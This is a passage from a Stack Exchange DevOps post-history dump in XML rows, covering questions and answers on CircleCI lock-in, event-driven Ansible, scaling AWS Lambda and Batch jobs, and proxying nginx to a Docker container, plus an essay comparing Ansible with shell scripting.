[`executors`](https://circleci.com/docs/2.0/using-orbs/#executors), then it can hardly be replaced by a simple combinations of shell commands/functions. &#xD;&#xA;&#xD;&#xA;# Seems like unnecessary lockin?&#xD;&#xA;&#xD;&#xA;As for lock-in concerns: you are right. It's looks like lock-in and it **is** lock-in. But as I know, there isn't any portable solution than can be easily migrated from one `CI/CD` system to another. E.g. try to convert `.gitlab-ci.yml' to `travis.yml`.&#xD;&#xA;But `lock-in`'s, as usual, tend to give you an advantage in speed or ease of deployment.&#xD;&#xA;&#xD;&#xA;# Portability&#xD;&#xA;&#xD;&#xA;Since there are four [executor types](https://circleci.com/docs/2.0/executor-types/) (`docker`, `machine`, `windows` and `macos`), it gives you more portable and cross-platform approach" ContentLicense="CC BY-SA 4.0" />
  <row Id="34966" PostHistoryTypeId="2" PostId="11435" RevisionGUID="d7007048-6f72-4c47-91fb-a90f3a112d3d" CreationDate="2020-04-24T14:43:23.097" UserId="6356" Text="I've been using SaltStack a lot in my previous job, and loved its event driven model. Now, in my new job, we are using Ansible, and definitely not in an event driven model.&#xD;&#xA;&#xD;&#xA;I was wondering if there was this capacity hidden (or not hidden :)) anywhere in Ansible ? &#xD;&#xA;&#xD;&#xA;Also if you think that it was a good idea to try and implement this event driven model based on Ansible (or if Ansible was not designed to be used like this and it would be an mistake).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="34967" PostHistoryTypeId="1" PostId="11435" RevisionGUID="d7007048-6f72-4c47-91fb-a90f3a112d3d" CreationDate="2020-04-24T14:43:23.097" UserId="6356" Text="Ansible event driven capacity" ContentLicense="CC BY-SA 4.0" />
  <row Id="34968" PostHistoryTypeId="3" PostId="11435" RevisionGUID="d7007048-6f72-4c47-91fb-a90f3a112d3d" CreationDate="2020-04-24T14:43:23.097" UserId="6356" Text="&lt;ansible&gt;&lt;salt&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34970" PostHistoryTypeId="2" PostId="11436" RevisionGUID="26783925-c9db-4dc6-a581-260bdb0bea9f" CreationDate="2020-04-24T19:01:12.850" UserId="21926" Text="## Goal&#xD;&#xA;&#xD;&#xA;So I'm looking for an AWS product or combination of products to accomplish the following:&#xD;&#xA;&#xD;&#xA;- Ability to do CPU heavy (non-parallel) calculations (min 8 vCPU's per node)&#xD;&#xA;- Minimum timeout limit of 1800 seconds (AWS Lambda has a limit of 900 seconds)&#xD;&#xA;- Ability to automatically scale up and down to 0/1&#xD;&#xA;- Ability to scale up really fast (&lt;30 seconds)&#xD;&#xA;- Event-driven execution model (one task per node, node gets destroyed after the job is finished)&#xD;&#xA;- Assign the desired vCPU's per &quot;type&quot; (3 predefined types) event/task/job&#xD;&#xA;&#xD;&#xA;I'll try to be as detailed as possible in my description of what the job is, the two setups I've tried and what I don't like about them.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;## Definitions&#xD;&#xA;&#xD;&#xA;- ROE: Route Optimisation Engine&#xD;&#xA;&#xD;&#xA;- VRP: Vehicle Routing Problem&#xD;&#xA;&#xD;&#xA;  A single JSON containing all the information regarding the stops, vehicles, time windows, start/end addresses) which needs to be optimised. VRP's can be classified into three different complexities [easy, medium, hard] based on:&#xD;&#xA;&#xD;&#xA;  - number of stops&#xD;&#xA;  - restrictions per stop (time window, capacity)&#xD;&#xA;  - number of vehicles&#xD;&#xA;  - restrictions per vehicle (time window, maximum range, capacity, breaks)&#xD;&#xA;&#xD;&#xA;  Easy classified VRP's will need less CPU resources and can be solved quicker than for example high classified VRP's.&#xD;&#xA;&#xD;&#xA;- Solution: The best solution for the VRP (the most efficient routes for the VRP)&#xD;&#xA;&#xD;&#xA;## Setup 1 -  AWS Lambda&#xD;&#xA;&#xD;&#xA;### Diagram&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;### AWS SQS&#xD;&#xA;Standard type AWS SQS queue for optimisation request messages. Every message that enters triggers the ROE (AWS Lambda).&#xD;&#xA;&#xD;&#xA;### AWS Lambda&#xD;&#xA;The Lambda (3008 MB memory) is triggered by the AWS SQS queue for optimisation request messages and processes alles messages when they are added to the queue. The maximum timeout limit of all AWS Lambda's is 15 minutes.&#xD;&#xA;&#xD;&#xA;### Problems&#xD;&#xA;- AWS Lambda does not allow us to select more CPU resources and therefore optimisations of medium complexity VRP's take a long time.&#xD;&#xA;- AWS Lambda maximum timeout settings of 15 minutes makes the usage of a Lambda for doing optimising high complexity VRP impossible&#xD;&#xA;&#xD;&#xA;## Setup 2 - AWS Batch&#xD;&#xA;&#xD;&#xA;### Diagram&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;### Steps&#xD;&#xA;- WA sends optimisation request to API&#xD;&#xA;- API creates a VRP and stores the VRP in S3&#xD;&#xA;- API evaluates the complexity of the VRP (low, medium or high)&#xD;&#xA;- API creates an AWS Batch Job (with the parameter problemId=123456789)&#xD;&#xA;- API allocates the correct number of vCPU's and Memory (predefined) to that job based on the VRP complexity&#xD;&#xA;- API adds the AWS Batch Job to the correct AWS Batch queue (the queue is defined by the VRP complexity)&#xD;&#xA;- API returns a 200 - OK response to the WA&#xD;&#xA;- AWS Batch Job is taken from the AWS Batch Queue for execution&#xD;&#xA;- AWS Batch Job fetches the VRP from S3 based on the problemId it received during step 4&#xD;&#xA;- AWS Batch Job solves the VRP&#xD;&#xA;- AWS Batch Job stores the solution in S3&#xD;&#xA;- WA requests the solution from the API&#xD;&#xA;- API gets the solution from S3 and returns it to WA&#xD;&#xA;&#xD;&#xA;### Problems&#xD;&#xA;- Scaling up takes unacceptably long&#xD;&#xA;- Going from 0 to 1 node takes too long (300+ seconds)&#xD;&#xA;- Going from 1 to X nodes takes too long (60/300+ seconds)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Z3W6r.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/XHIvO.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="34971" PostHistoryTypeId="1" PostId="11436" RevisionGUID="26783925-c9db-4dc6-a581-260bdb0bea9f" CreationDate="2020-04-24T19:01:12.850" UserId="21926" Text="I'm looking for an AWS product that scales up/down as fast as AWS Lambda but allows me to allocate the vCPU (min. 8) per job, any advice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34972" PostHistoryTypeId="3" PostId="11436" RevisionGUID="26783925-c9db-4dc6-a581-260bdb0bea9f" CreationDate="2020-04-24T19:01:12.850" UserId="21926" Text="&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;&lt;aws-lambda&gt;&lt;java&gt;&lt;serverless&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34976" PostHistoryTypeId="4" PostId="11436" RevisionGUID="f9522824-ebac-4cc5-81b5-df1d7f154702" CreationDate="2020-04-24T21:20:38.023" UserId="21926" Comment="edited title" Text="I want to scale up/down as fast as AWS Lambda but also be able to allocate the vCPU (minimum 8) per task, any advice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34999" PostHistoryTypeId="10" PostId="11426" RevisionGUID="919c6929-e1b8-42ce-b440-b2182b7f89a0" CreationDate="2020-04-25T05:41:56.443" UserId="40" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="35000" PostHistoryTypeId="2" PostId="11438" RevisionGUID="1102f717-46f3-4195-b169-f3de395f52f5" CreationDate="2020-04-25T13:09:55.553" UserId="19154" Text="Is it possible to build a similar solution to managed MySQL cluster on a private cloud (VMware vSphere / Hyper V). Even with Kubernetes.&#xD;&#xA;A solution which supports auto-scaling, auto-upgrade, multi-master and similar to the largest public clouds offerings." ContentLicense="CC BY-SA 4.0" />
  <row Id="35001" PostHistoryTypeId="1" PostId="11438" RevisionGUID="1102f717-46f3-4195-b169-f3de395f52f5" CreationDate="2020-04-25T13:09:55.553" UserId="19154" Text="Managed MySQL cluster - similar solution for a private cloud" ContentLicense="CC BY-SA 4.0" />
  <row Id="35002" PostHistoryTypeId="3" PostId="11438" RevisionGUID="1102f717-46f3-4195-b169-f3de395f52f5" CreationDate="2020-04-25T13:09:55.553" UserId="19154" Text="&lt;kubernetes&gt;&lt;mysql&gt;&lt;vmware&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35003" PostHistoryTypeId="2" PostId="11439" RevisionGUID="882ef45f-d735-4856-ad79-d07b70ffdc65" CreationDate="2020-04-25T14:39:58.863" UserId="14979" Text="It is possible via network name:&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      mynetwork:&#xD;&#xA;        name: ${STAGE_NAME}&#xD;&#xA;&#xD;&#xA;where mynetwork - name &quot;inside&quot; stack&#xD;&#xA;&#xD;&#xA;${STAGE_NAME} -name for other stacks/services/containers&#xD;&#xA;&#xD;&#xA;See comment from docker capitan https://github.com/moby/moby/issues/40819#issuecomment-618726892" ContentLicense="CC BY-SA 4.0" />
  <row Id="35004" PostHistoryTypeId="2" PostId="11440" RevisionGUID="041b1860-4718-4ee6-8fcf-774b7cde5aad" CreationDate="2020-04-25T15:20:49.103" UserId="10718" Text="&gt; I though about putting the container on a not used port, like 8999 for example, and proxying the request to this port, and blocking these ports on the firewall, so no one outside can access them. If I go with this option, does the nginx configuration inside of the containers will need the server_name still?&#xD;&#xA;&#xD;&#xA;You're thinking along the right lines. You do need the `server_name` directives in the container, since it can be accessed both by `app2.com/example` and `app3.com`.&#xD;&#xA;&#xD;&#xA;Here's an example setup. I'll emulate an nginx on the host machine with a docker container running on the host network.&#xD;&#xA;&#xD;&#xA;Scroll down past the code and console log for some explanations.&#xD;&#xA;&#xD;&#xA;Here is the listing of the files I used:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;lllamnyp@lllamnyp:~/Cloud/dev/stackexchange/devops/q11420$ tail -n +1 *&#xD;&#xA;```&#xD;&#xA;**==&gt; app1.html &lt;==**&#xD;&#xA;```&#xD;&#xA;I am app1!&#xD;&#xA;```&#xD;&#xA;**==&gt; app2_example.html &lt;==**&#xD;&#xA;```&#xD;&#xA;I am app2 in example subpath!&#xD;&#xA;```&#xD;&#xA;**==&gt; app2.html &lt;==**&#xD;&#xA;```&#xD;&#xA;I am app2!&#xD;&#xA;```&#xD;&#xA;**==&gt; app3.html &lt;==**&#xD;&#xA;```&#xD;&#xA;I am app3!&#xD;&#xA;```&#xD;&#xA;**==&gt; container_nginx.conf &lt;==**&#xD;&#xA;```&#xD;&#xA;server {&#xD;&#xA;  server_name app2.com;&#xD;&#xA;  location /example {&#xD;&#xA;    root /var/www/app2/;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;server {&#xD;&#xA;  server_name app3.com;&#xD;&#xA;  location / {&#xD;&#xA;    root /var/www/app3/;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;**==&gt; host_nginx.conf &lt;==**&#xD;&#xA;```&#xD;&#xA;server {&#xD;&#xA;  server_name app1.com;&#xD;&#xA;  location / { &#xD;&#xA;    root /var/www/app1/;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;server {&#xD;&#xA;  server_name app2.com;&#xD;&#xA;  location / { &#xD;&#xA;    root /var/www/app2/;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  location /example {&#xD;&#xA;    proxy_pass http://localhost:8999;&#xD;&#xA;    proxy_set_header Host $http_host;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;server {&#xD;&#xA;  server_name app3.com;&#xD;&#xA;  location / {&#xD;&#xA;    proxy_pass http://localhost:8999;&#xD;&#xA;    proxy_set_header Host $http_host;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;**==&gt; nginx.conf &lt;==**&#xD;&#xA;```&#xD;&#xA;user  nginx;&#xD;&#xA;worker_processes  1;&#xD;&#xA;&#xD;&#xA;error_log  /var/log/nginx/error.log warn;&#xD;&#xA;pid        /var/run/nginx.pid;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;events {&#xD;&#xA;    worker_connections  1024;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http {&#xD;&#xA;    include       /etc/nginx/mime.types;&#xD;&#xA;    default_type  application/octet-stream;&#xD;&#xA;&#xD;&#xA;    log_format  main  '$remote_addr - $remote_user [$time_local] &quot;$request&quot; &quot;$http_host&quot; '&#xD;&#xA;                      '$status $body_bytes_sent &quot;$http_referer&quot; '&#xD;&#xA;                      '&quot;$http_user_agent&quot; &quot;$http_x_forwarded_for&quot;';&#xD;&#xA;&#xD;&#xA;    access_log  /var/log/nginx/access.log  main;&#xD;&#xA;&#xD;&#xA;    sendfile        on;&#xD;&#xA;    #tcp_nopush     on;&#xD;&#xA;&#xD;&#xA;    keepalive_timeout  65;&#xD;&#xA;&#xD;&#xA;    #gzip  on;&#xD;&#xA;&#xD;&#xA;    include /etc/nginx/conf.d/*.conf;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;**==&gt; run.sh &lt;==**&#xD;&#xA;```&#xD;&#xA;docker run --name host_nginx --network=host --rm -d \&#xD;&#xA;  -v `pwd`/nginx.conf:/etc/nginx/nginx.conf \&#xD;&#xA;  -v `pwd`/host_nginx.conf:/etc/nginx/conf.d/default.conf \&#xD;&#xA;  -v `pwd`/app1.html:/var/www/app1/index.html \&#xD;&#xA;  -v `pwd`/app2.html:/var/www/app2/index.html \&#xD;&#xA;  nginx&#xD;&#xA;&#xD;&#xA;docker run --name container_nginx -p 8999:80 --rm -d \&#xD;&#xA;  -v `pwd`/nginx.conf:/etc/nginx/nginx.conf \&#xD;&#xA;  -v `pwd`/container_nginx.conf:/etc/nginx/conf.d/default.conf \&#xD;&#xA;  -v `pwd`/app2_example.html:/var/www/app2/example/index.html \&#xD;&#xA;  -v `pwd`/app3.html:/var/www/app3/index.html \&#xD;&#xA;  nginx&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here is the log from my console, where I am testing things out.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;lllamnyp@lllamnyp:~/Cloud/dev/stackexchange/devops/q11420$ sudo ./run.sh &#xD;&#xA;73ebc99b8fae1d18bcbc571adbab6b65eaa49f861d66f11a7490d61b4e1beb0f&#xD;&#xA;9f3761ab0619255d9bde08eee70e1fb9b686b645f38d976de7c39d4c8f0ad70d&#xD;&#xA;lllamnyp@lllamnyp:~/Cloud/dev/stackexchange/devops/q11420$ curl app1.com&#xD;&#xA;I am app1!&#xD;&#xA;lllamnyp@lllamnyp:~/Cloud/dev/stackexchange/devops/q11420$ curl app2.com&#xD;&#xA;I am app2!&#xD;&#xA;lllamnyp@lllamnyp:~/Cloud/dev/stackexchange/devops/q11420$ curl app3.com&#xD;&#xA;I am app3!&#xD;&#xA;lllamnyp@lllamnyp:~/Cloud/dev/stackexchange/devops/q11420$ curl app2.com/example&#xD;&#xA;&lt;html&gt;&#xD;&#xA;&lt;head&gt;&lt;title&gt;301 Moved Permanently&lt;/title&gt;&lt;/head&gt;&#xD;&#xA;&lt;body&gt;&#xD;&#xA;&lt;center&gt;&lt;h1&gt;301 Moved Permanently&lt;/h1&gt;&lt;/center&gt;&#xD;&#xA;&lt;hr&gt;&lt;center&gt;nginx/1.17.10&lt;/center&gt;&#xD;&#xA;&lt;/body&gt;&#xD;&#xA;&lt;/html&gt;&#xD;&#xA;lllamnyp@lllamnyp:~/Cloud/dev/stackexchange/devops/q11420$ curl app2.com/example/&#xD;&#xA;I am app2 in example subpath!&#xD;&#xA;lllamnyp@lllamnyp:~/Cloud/dev/stackexchange/devops/q11420$ sudo docker logs host_nginx&#xD;&#xA;127.0.0.1 - - [25/Apr/2020:15:11:15 +0000] &quot;GET / HTTP/1.1&quot; &quot;app1.com&quot; 200 11 &quot;-&quot; &quot;curl/7.68.0&quot; &quot;-&quot;&#xD;&#xA;127.0.0.1 - - [25/Apr/2020:15:11:17 +0000] &quot;GET / HTTP/1.1&quot; &quot;app2.com&quot; 200 11 &quot;-&quot; &quot;curl/7.68.0&quot; &quot;-&quot;&#xD;&#xA;127.0.0.1 - - [25/Apr/2020:15:11:20 +0000] &quot;GET / HTTP/1.1&quot; &quot;app3.com&quot; 200 11 &quot;-&quot; &quot;curl/7.68.0&quot; &quot;-&quot;&#xD;&#xA;127.0.0.1 - - [25/Apr/2020:15:11:25 +0000] &quot;GET /example HTTP/1.1&quot; &quot;app2.com&quot; 301 170 &quot;-&quot; &quot;curl/7.68.0&quot; &quot;-&quot;&#xD;&#xA;127.0.0.1 - - [25/Apr/2020:15:11:29 +0000] &quot;GET /example/ HTTP/1.1&quot; &quot;app2.com&quot; 200 30 &quot;-&quot; &quot;curl/7.68.0&quot; &quot;-&quot;&#xD;&#xA;lllamnyp@lllamnyp:~/Cloud/dev/stackexchange/devops/q11420$ sudo docker logs container_nginx&#xD;&#xA;172.17.0.1 - - [25/Apr/2020:15:11:20 +0000] &quot;GET / HTTP/1.0&quot; &quot;app3.com&quot; 200 11 &quot;-&quot; &quot;curl/7.68.0&quot; &quot;-&quot;&#xD;&#xA;172.17.0.1 - - [25/Apr/2020:15:11:25 +0000] &quot;GET /example HTTP/1.0&quot; &quot;app2.com&quot; 301 170 &quot;-&quot; &quot;curl/7.68.0&quot; &quot;-&quot;&#xD;&#xA;172.17.0.1 - - [25/Apr/2020:15:11:29 +0000] &quot;GET /example/ HTTP/1.0&quot; &quot;app2.com&quot; 200 30 &quot;-&quot; &quot;curl/7.68.0&quot; &quot;-&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I corrected some errors in your config (missing semicolon here and there), changed the server roots to directories, rather than `index.html` and also the request for `app2.com/example` would request `/var/www/app2/example/index.html` so pay close attention to the way in which I mounted the files when starting up the containers in `./run.sh`. Finally, it was necessary to do `proxy_set_header Host $http_host;` in the host nginx config, so that the requested `Host` header gets correctly relayed to the containerized nginx and both app2 and app3 work correctly." ContentLicense="CC BY-SA 4.0" />
  <row Id="35005" PostHistoryTypeId="5" PostId="11420" RevisionGUID="bfe66408-2267-407a-8690-7f6d2e22c21b" CreationDate="2020-04-25T15:21:09.943" UserId="10718" Comment="Include image in post body, fix some typos" Text="I have the following architecture, which consists&#xD;&#xA;of an nginx server on the host machine, and 3 urls, app1.com, app2.com, app3.com:&#xD;&#xA;![Architecture](https://imgur.com/Hx3enGi.png)&#xD;&#xA;&#xD;&#xA;app1 and app2 are both in the host machine, lets say they are an HTML file on the host,&#xD;&#xA;on the container, there is app3 and app2.com/example url.&#xD;&#xA;&#xD;&#xA;My question is, how can I reference the container in the nginx of the host?&#xD;&#xA;Since I cannot expose port 80 and 443 of the container, because the host&#xD;&#xA;is already using these ports, I am not sure what is the best approach to this.&#xD;&#xA;&#xD;&#xA;I though about putting the container on a not used port, like 8999 for example,&#xD;&#xA;and proxying the request to this port, and blocking these ports on the firewall,&#xD;&#xA;so no one outside can access them. If I go with this option, does the nginx&#xD;&#xA;configuration inside of the containers will need the server_name still? In the&#xD;&#xA;case of the app3.com/example&#xD;&#xA;&#xD;&#xA;The other option I thougth about is using the docker socket, or even the docker0&#xD;&#xA;network, but I don't know if this is viable.&#xD;&#xA;&#xD;&#xA;An example of the nginx configuration file of the host:&#xD;&#xA;```conf&#xD;&#xA;server {&#xD;&#xA;  server_name app1.com;&#xD;&#xA;  location / { &#xD;&#xA;    root /var/www/app1/index.html;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;server {&#xD;&#xA;  server_name app2.com;&#xD;&#xA;  location / { &#xD;&#xA;    root /var/www/app2/index.html&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  location /example {&#xD;&#xA;    proxy_pass http://localhost:8999;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;server {&#xD;&#xA;  server_name app3.com;&#xD;&#xA;  location / {&#xD;&#xA;    proxy_pass http://localhost:8999;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Example of the nginx configuration file of the container:&#xD;&#xA;```conf&#xD;&#xA;server {&#xD;&#xA;  server_name app2.com&#xD;&#xA;  location /example {&#xD;&#xA;    root /var/www/app2/index.html;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;server {&#xD;&#xA;  server_name app3.com;&#xD;&#xA;  location / {&#xD;&#xA;    root /var/www/app3/index.html;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35006" PostHistoryTypeId="24" PostId="11420" RevisionGUID="bfe66408-2267-407a-8690-7f6d2e22c21b" CreationDate="2020-04-25T15:21:09.943" Comment="Proposed by 10718 approved by 40 edit id of 1196" ContentLicense="CC BY-SA 4.0" />
  <row Id="35007" PostHistoryTypeId="5" PostId="397" RevisionGUID="cc4996a3-e28c-4f44-b334-d80d0290d532" CreationDate="2020-04-25T15:29:05.177" UserId="271" Comment="As this answer seems to enjoy a relative popularity I fixed a few syntax errors and typos to make it easier to read. Since I also have experienced ansible and would share a word of this experience without changing my text, I added a short postscriptum at the end to do so." Text="I never used Ansible but since a few weeks, I try to figure out what good Ansible could be in comparison with shell scrips–Which proves, at least in my case, that the haunting ad-campaigns they run are effective! After many unsuccessful attempts–which proves how their documentation fail at answering one of the most obvious question–I think I finally got it.&#xD;&#xA;&#xD;&#xA;My conclusion is that over shell scripting, Ansible essentially offers 1. The possibility of checking that a system agrees with a desired state, 2. the ability to integrate with Ansible Tower, which is a paying system that seems to include monitoring abilities. In some important cases, like when implementing the immutable server pattern, the point 1 is probably not very useful, so the list of advantages is rather thin.&#xD;&#xA;&#xD;&#xA;It seems to me that the benefits offered by Ansible over shell-scripting, as the documentation present them, could be sensible in a few handful of optimistic cases well covered by available modules but are small or even hypothetical in the general case. For a skilled shell-programmer, these benefits are most likely counter-balanced by other aspects of the trade-off.&#xD;&#xA;&#xD;&#xA;But my conclusion maybe only proves how bad the introduction material is at displaying the actual advantages of this software!&#xD;&#xA;&#xD;&#xA;Now, I propose to watch the introduction video and go randomly as a potential new user through the introduction material to Ansible an let's compare it to what a skilled shell programmer can produce in a reasonable time.&#xD;&#xA;&#xD;&#xA;# The quick start video:&#xD;&#xA;&#xD;&#xA;There is a [quick start video](http://docs.ansible.com/ansible/quickstart.html). It starts with a page claiming that… well these are not really claims, these are bullet lists, an artefact [commonly used to suspend critical judgement](http://cristal.inria.fr/~weis/info/haladjian.pdf) in presentations (since the logic is not shown, it cannot be criticised!)&#xD;&#xA;&#xD;&#xA;### 1. Ansible is simple:&#xD;&#xA;&#xD;&#xA;1.1 Human readable automation – Specifications are technical documents, how could&#xD;&#xA;&#xD;&#xA;      name: upgrade all packages&#xD;&#xA;      yum:&#xD;&#xA;        name: '*'&#xD;&#xA;        state: latest&#xD;&#xA;&#xD;&#xA;be easier to read than the corresponding *yum* invocation found in a shell-script? Furthermore, anybody who had contact to AppleScript dies laughing when they read “human readable automation.”&#xD;&#xA;&#xD;&#xA;1.2 No special coding skills required – What is coding if not writing formal specifications? Ansible has conditionals, variables, so, how is it not coding? And why would I need something I cannot program, that would henceforth be inflexible? The statement is happily inaccurate!&#xD;&#xA;&#xD;&#xA;1.3 Tasks executed in order – Well, maybe some [codegolf aficionados](http://codegolf.stackexchange.com) are aware of languages that execute tasks in disorder, but executing tasks in order hardly looks exceptional.&#xD;&#xA;&#xD;&#xA;1.4 Get productive quickly – Skilled shell programmers are productive now. This counter-argument is just as serious as the initial argument.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### 2. Ansible is powerful&#xD;&#xA;&#xD;&#xA;A popular salesman trick to sell artefacts is to fool people into believing they will acquire the “power” of these artefacts. The history of advertisement for cars or isotonic drinks should supply a convincing list of examples.&#xD;&#xA;&#xD;&#xA;Here Ansible can do “app deployment” – but shell script surely do, “configuration management” but this is a mere statement of the purpose of the tool, not a feature, and “workflow orchestration” which looks a bit pretentious but no example in this document goes beyond what [GNU Parallel](https://www.gnu.org/software/parallel/man.html) can do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### 3. Ansible is agentless&#xD;&#xA;&#xD;&#xA;To populate the column, they wrote in three different manners that this only needs *ssh,* which, as everybody knows is a *daemon* and has nothing to do with these *agents* pervading the world of configuration management!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### The rest of the video&#xD;&#xA;&#xD;&#xA;The rest of the video introduces inventories, which are static lists of resources (like servers) and demonstrates how to deploy Apache on three servers simultaneously.  This really does not match the way I work, where resources are highly dynamic and can be enumerated by command-line tooling provided by my cloud provider, and consumed by my shell functions using the pipe `|` operator.  Also, I do not deploy Apache on three servers simultaneously, rather, I build a master instance image that I then use to start 3 instances which are exact replicas one of the other. So the “orchestrating” part of the argumentation does not look very pertinent.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Random documentation step 1: Integration with EC2&#xD;&#xA;&#xD;&#xA;EC2 is the computing service from Amazon, interacting with it is supported by some [Ansible module](http://docs.ansible.com/ansible/guide_aws.html). (Other popular cloud computing providers are also provided.):&#xD;&#xA;&#xD;&#xA;    # demo_setup.yml&#xD;&#xA;    &#xD;&#xA;    - hosts: localhost&#xD;&#xA;      connection: local&#xD;&#xA;      gather_facts: False&#xD;&#xA;    &#xD;&#xA;      tasks:&#xD;&#xA;    &#xD;&#xA;        - name: Provision a set of instances&#xD;&#xA;          ec2:&#xD;&#xA;             key_name: my_key&#xD;&#xA;             group: test&#xD;&#xA;             instance_type: t2.micro&#xD;&#xA;             image: &quot;{{ ami_id }}&quot;&#xD;&#xA;             wait: true&#xD;&#xA;             exact_count: 5&#xD;&#xA;             count_tag:&#xD;&#xA;                Name: Demo&#xD;&#xA;             instance_tags:&#xD;&#xA;                Name: Demo&#xD;&#xA;          register: ec2&#xD;&#xA;&#xD;&#xA;The corresponding shell-script would be essentially identical with YAML replaced by JSON:&#xD;&#xA;&#xD;&#xA;    provision_a_set_of_instances()&#xD;&#xA;    {&#xD;&#xA;      aws --output=text ec2 run-instances --image-id …   &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;or the JSON version&#xD;&#xA;&#xD;&#xA;    provision_a_set_of_instances()&#xD;&#xA;    {&#xD;&#xA;      aws --output=text ec2 run-instances --cli-input-json &quot;$(provision_a_set_of_instances__json)&quot;  &#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    provision_a_set_of_instances__json()&#xD;&#xA;    {&#xD;&#xA;      cat &lt;&lt;EOF&#xD;&#xA;    {&#xD;&#xA;        &quot;ImageId&quot;: … &#xD;&#xA;    }&#xD;&#xA;    EOF&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Both version are essentially identical, the bulk of the payload is the enumeration of the initialisation values in a YAML or JSON structures.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Random documentation step 2: Continuous Delivery and Rolling Upgrades&#xD;&#xA;&#xD;&#xA;The largest part of [this guide](http://docs.ansible.com/ansible/guide_rolling_upgrade.html) does not display any really interesting feature: it introduces variables (IIRC, shell scripts also have variables)!, and an Ansible module that handles mysql, so that if instead of searching after “how do I create a mysql user with privileges on X Y” and end with something like&#xD;&#xA;&#xD;&#xA;    create_application_db_user()&#xD;&#xA;    {&#xD;&#xA;      mysql --host &quot;${mysql_host}&quot; --user &quot;${mysql_user}&quot; --password &quot;${mysql_password}&quot; &quot;${mysql_table}&quot; &lt;&lt;EOF&#xD;&#xA;    GRANT ALL PRIVILEGES ON *.* TO 'root'@'%';&#xD;&#xA;    EOF&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;you search after “how do I create a mysql user with privileges on X Y in *ansible*”  and end up with &#xD;&#xA;&#xD;&#xA;    - name: Create Application DB User&#xD;&#xA;      mysql_user: name={{ dbuser }} password={{ upassword }}&#xD;&#xA;                  priv=*.*:ALL host='%' state=present&#xD;&#xA;&#xD;&#xA;The difference is still probably not very meaningful. On that page we also discover that Ansible has a template meta-Programming language&#xD;&#xA;&#xD;&#xA;    {% for host in groups['monitoring'] %}&#xD;&#xA;    -A INPUT -p tcp -s {{ hostvars[host].ansible_default_ipv4.address }} --dport 5666 -j ACCEPT&#xD;&#xA;    {% endfor %}&#xD;&#xA;&#xD;&#xA;When I see this, I happen to really be in my comfort zone. This kind of simple meta-programming for declarative languages is exactly the same theoretical paradigm as BSD Makefiles! Which I [happen to have programmed extensively](https://github.com/michipili/bsdowl) This excerpt shows us that the promise of working with YAML file is broken (so I cannot run my playbooks through a YAML parser, *e.g.*). It also shows us that Ansible must discuss the subtle art of evaluation order: we have to decide if variables are expanded at the “declarative part” of the language or at the “imperative” meta-part of the language. Here shell programming is simpler, there is no meta-programming, aside from *explicit* `eval` or external-script sourcing.  The hypothetical equivalent shell excerpt would be&#xD;&#xA;&#xD;&#xA;    enumerate_group 'monitoring' | {&#xD;&#xA;      while read host; do&#xD;&#xA;        …&#xD;&#xA;      done&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;whose complexity in comparison to the Ansible variant is probably tolerable: it just uses the plain, regular, boring constructs from the language.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Random documentation step 3: Testing strategies&#xD;&#xA;&#xD;&#xA;Last, [we meet what turns out to be the first actually interesting feature](http://docs.ansible.com/ansible/test_strategies.html) of Ansible: “Ansible resources are models of desired-state. As such, it should not be necessary to test that services are started, packages are installed, or other such things. Ansible is the system that will ensure these things are declaratively true. Instead, assert these 